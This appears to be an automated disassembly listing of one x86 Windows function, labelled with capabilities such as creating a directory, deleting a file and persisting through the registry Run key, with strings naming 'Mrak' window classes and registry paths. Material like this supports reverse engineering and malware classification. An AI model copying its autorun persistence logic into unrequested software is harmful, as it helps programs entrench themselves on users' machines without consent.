Function at 0x402980
Capabilities:
Create directory
Delete file
Persist via run registry key

Disassembly:
sub esp, 0x4c
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
push str.mrakMainWndClass
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov byte [esp + 0x1b], bl
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x4029aa
mov byte [esp + 0x13], 1
mov eax, dword [esp + 0x60]
mov dword [0x40d7d0], eax
call fcn.00403210
test eax, eax
je 0x4029ca
call fcn.004028c0
cmp eax, ebx
mov dword [0x40d7b8], eax
jne 0x4029e7
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4029db
push eax
call fcn.004052b2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10
mov edi, str.SOFTWAREMicrosoftMrak
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [0x40d7dc], ecx
inc ecx
push ecx
call fcn.004052bd
mov ebp, eax
mov edi, str.SOFTWAREMicrosoftMrak
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x40d7d8]
cmp eax, ebx
je 0x402a3c
push eax
call fcn.004052b2
add esp, 4
mov dword [0x40d7d8], ebp
call fcn.00403720
mov ecx, 0x40d7a0
call fcn.00402480
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov ebp, esp
dec ecx
mov dword [esp + 0x68], esp
mov dword [ebp + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404120
add esp, 8
test al, al
je 0x402b88
mov eax, dword [0x40d7e4]
mov dword [esp + 0x18], eax
inc eax
push eax
call fcn.004052bd
mov edi, dword [0x40d7e0]
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x402af2
push eax
call fcn.004052b2
add esp, 4
push str.NETSTART
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], ebp
call fcn.004021d0
push eax
lea ecx, [esp + 0x18]
call fcn.004023f0
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402490
push esi
lea ecx, [esp + 0x18]
call fcn.00402300
push ebx
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x14]
call fcn.00402480
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov ebp, esp
dec ecx
mov dword [esp + 0x68], esp
mov dword [ebp + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404270
add esp, 8
mov ebp, dword [esp + 0x68]
cmp byte [ebp], 0
je 0x402bdf
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov esi, esp
dec ecx
mov dword [esp + 0x68], esp
mov dword [esi + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [esi], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404b90
add esp, 8
mov edi, 0x40d154
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x20], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d154
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x20], edx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
push 0x40d7d8
push 0x80000002
call fcn.00401a60
add esp, 0x14
test al, al
mov eax, dword [esp + 0x1c]
sete bl
test eax, eax
je 0x402c53
push eax
call fcn.004052b2
add esp, 4
test bl, bl
je 0x402f11
mov ecx, dword [0x40d798]
lea eax, [esp + 0x2c]
push 0xa
push eax
push ecx
push 7
call fcn.00401012
add esp, 8
push eax
call fcn.0040a066
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x24], ecx
inc ecx
push ecx
call fcn.004052bd
mov ebp, eax
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x402cc9
push eax
call fcn.004052b2
add esp, 4
mov edi, 0x40d154
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x14], ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x20], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d154
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x20], edx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
push 0x40d7d8
push 0x80000002
call fcn.004019dc
mov eax, dword [esp + 0x30]
add esp, 0x14
test eax, eax
je 0x402d3c
push eax
call fcn.004052b2
add esp, 4
mov edi, 0x40d150
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d150
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], edx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
push 0x40d7d8
push 0x80000002
call fcn.00401a60
mov bl, al
mov eax, dword [esp + 0x38]
add esp, 0x14
test eax, eax
je 0x402dad
push eax
call fcn.004052b2
add esp, 4
test bl, bl
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
je 0x402e74
mov edi, 0x40d150
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d150
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x28]
push ecx
push 0x40d7d8
push 0x80000002
call fcn.00401b06
mov eax, dword [esp + 0x34]
add esp, 0x10
test eax, eax
je 0x402e25
push eax
call fcn.004052b2
add esp, 4
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0
push str.mrakcontrolWndClass
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x402e5b
push 0
push 0
push 0x10
push eax
call ebx
push 0x3e8
call esi
push 0
push str.mrakcontrolWndClass
call edi
test eax, eax
jne 0x402e3e
push 0x1388
call esi
mov edx, dword [0x40d7c8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.00405040
mov ecx, 0x40d7a0
call fcn.00402480
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov ebp, esp
dec ecx
mov dword [esp + 0x68], esp
mov dword [ebp + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00404120
add esp, 8
test al, al
jne 0x40319f
mov al, byte [esp + 0x13]
push 0
test al, al
je 0x403187
mov ecx, dword [0x40d7b8]
push 0
push 0x10
push ecx
call ebx
mov eax, dword [esp + 0x14]
test eax, eax
je 0x402f02
push eax
call fcn.004052b2
add esp, 4
mov eax, 3
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10
mov eax, dword [0x40d798]
mov ecx, dword [esp + 0x14]
push eax
push ecx
call fcn.00405aa8
add esp, 4
push eax
call fcn.00401000
add esp, 8
cmp al, 3
je 0x403154
cmp al, 4
jne 0x403013
mov edi, str.NetStart
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, str.NetStart
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x24], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x24], edx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
push ecx
push edx
push 0x80000002
call fcn.00401b06
mov eax, dword [esp + 0x30]
add esp, 0x14
test eax, eax
je 0x402fe9
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], 0
test eax, eax
je 0x403002
push eax
call fcn.004052b2
add esp, 4
mov eax, dword [0x40d7b8]
push 0
push 0
push 0x10
push eax
jmp 0x403161
cmp al, 5
jne 0x402d3c
mov edi, 0x40d0fc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x28], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d0fc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x28], edx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
push 0x40d7d8
push 0x80000002
call fcn.00401a60
mov bl, al
mov eax, dword [esp + 0x38]
add esp, 0x14
test eax, eax
je 0x40308c
push eax
call fcn.004052b2
add esp, 4
test bl, bl
je 0x403154
lea ecx, [esp + 0x14]
call fcn.00402480
mov esi, eax
or ecx, 0xffffffff
mov edi, esi
xor eax, eax
sub esp, 8
repne scasb al, byte es:[edi]
not ecx
mov ebp, esp
dec ecx
mov dword [esp + 0x68], esp
mov dword [ebp + 4], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00403c00
mov edi, 0x40d0fc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x30], ecx
inc ecx
push ecx
call fcn.004052bd
mov edx, eax
mov edi, 0x40d0fc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x30], edx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x30]
push ecx
push 0x40d7d8
push 0x80000002
call fcn.00401b06
mov eax, dword [esp + 0x3c]
add esp, 0x18
test eax, eax
je 0x403154
push eax
call fcn.004052b2
add esp, 4
mov edx, dword [0x40d7b8]
push 0
push 0
push 0x10
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x403178
push eax
call fcn.004052b2
add esp, 4
mov eax, 2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10
mov edx, dword [0x40d0dc]
mov eax, dword [0x40d7b8]
push 0x3e8
push edx
push eax
call dword [sym.imp.USER32.dll_SetTimer]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
lea ecx, [esp + 0x48]
push 0
push ecx
call esi
test eax, eax
je 0x4031e1
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [esp + 0x40]
push edx
call edi
lea eax, [esp + 0x40]
push eax
call ebx
push 0
push 0
lea ecx, [esp + 0x48]
push 0
push ecx
call esi
test eax, eax
jne 0x4031c2
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x48]
test eax, eax
je 0x4031f6
push eax
call fcn.004052b2
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4c
ret 0x10